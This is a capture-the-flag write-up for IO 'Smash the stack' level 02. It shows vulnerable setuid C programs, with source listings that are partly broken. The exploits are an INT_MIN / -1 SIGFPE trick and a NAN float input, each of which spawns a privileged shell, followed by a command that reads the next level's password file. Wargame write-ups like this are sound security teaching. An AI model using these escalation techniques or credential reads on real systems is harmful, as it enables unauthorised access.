IO Smash the stack level 02


level2@io:~$ cd /levels/
level2@io:/levels$ ls -latr level02*
-r-------- 1 level2 level2  437 May 26  2011 level02_alt.c
-r-sr-x--- 1 level3 level2 6940 May 26  2011 level02_alt
-r-sr-x--- 1 level3 level2 5329 Oct  4  2011 level02
-r-------- 1 level2 level2  495 Apr 13  2015 level02.c

This time we got source code so lets look at it

level2@io:/levels$ cat level02.c

//a little fun brought to you by bla

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void catcher(int a)

int main(int argc, char **argv)
	puts("source code is available in level02.c\n");

        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return abs(atoi(argv[1])) / atoi(argv[2]);

So in order to get the cacher function to run we need to get provide 2 arguments (argv[0] is the program itself) and the last argument must not be 0. Since the cacher will only run on signal SIGFPE then lets have a look at the man page for signal(2)

According to POSIX, the behavior of a process is undefined after it ignores a SIGFPE, SIGILL, or SIGSEGV signal that was not generated by kill(2) or raise(3). Integer division by zero has
undfined result. On some architectures it will generate a SIGFPE signal. (Also dividing the most negative integer by -1 may generate SIGFPE.) Ignoring this signal might lead to an endless loop.

So the most negative integer would eihter be -2^15 (2 bytes) or -2^31 (4 bytes) and since this is a 32bit system lets try with 4 bytes

level2@io:/levels$ ./level02 $(echo "-2^31"|bc) -1
source code is available in level02.c

sh-4.2$ whoami
sh-4.2$ cat /home/level3/.pass

Level02 alt

level2@io:/levels$ cat level02_alt.c

/* submitted by noname */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define answer 3.141593

void main(int argc, char **argv) {

	float a = (argc - 2)?: strtod(argv[1], 0);

        printf("You provided the number %f which is too ", a);

        if(a < answer)
        else if(a > answer)
                execl("/bin/sh", "sh", "-p", NULL);

The alternative level took me a while to find. There is no equel sign so I started reading up on strtod(3) and found

A NAN is “NAN” (disregarding case) optionally followed by ‘(’, a sequence of characters, followed by ‘)’. The character string specifies in an implementation-dependent way the type of NAN.

level2@io:/levels$ ./level02_alt NAN
sh-4.2$ whoami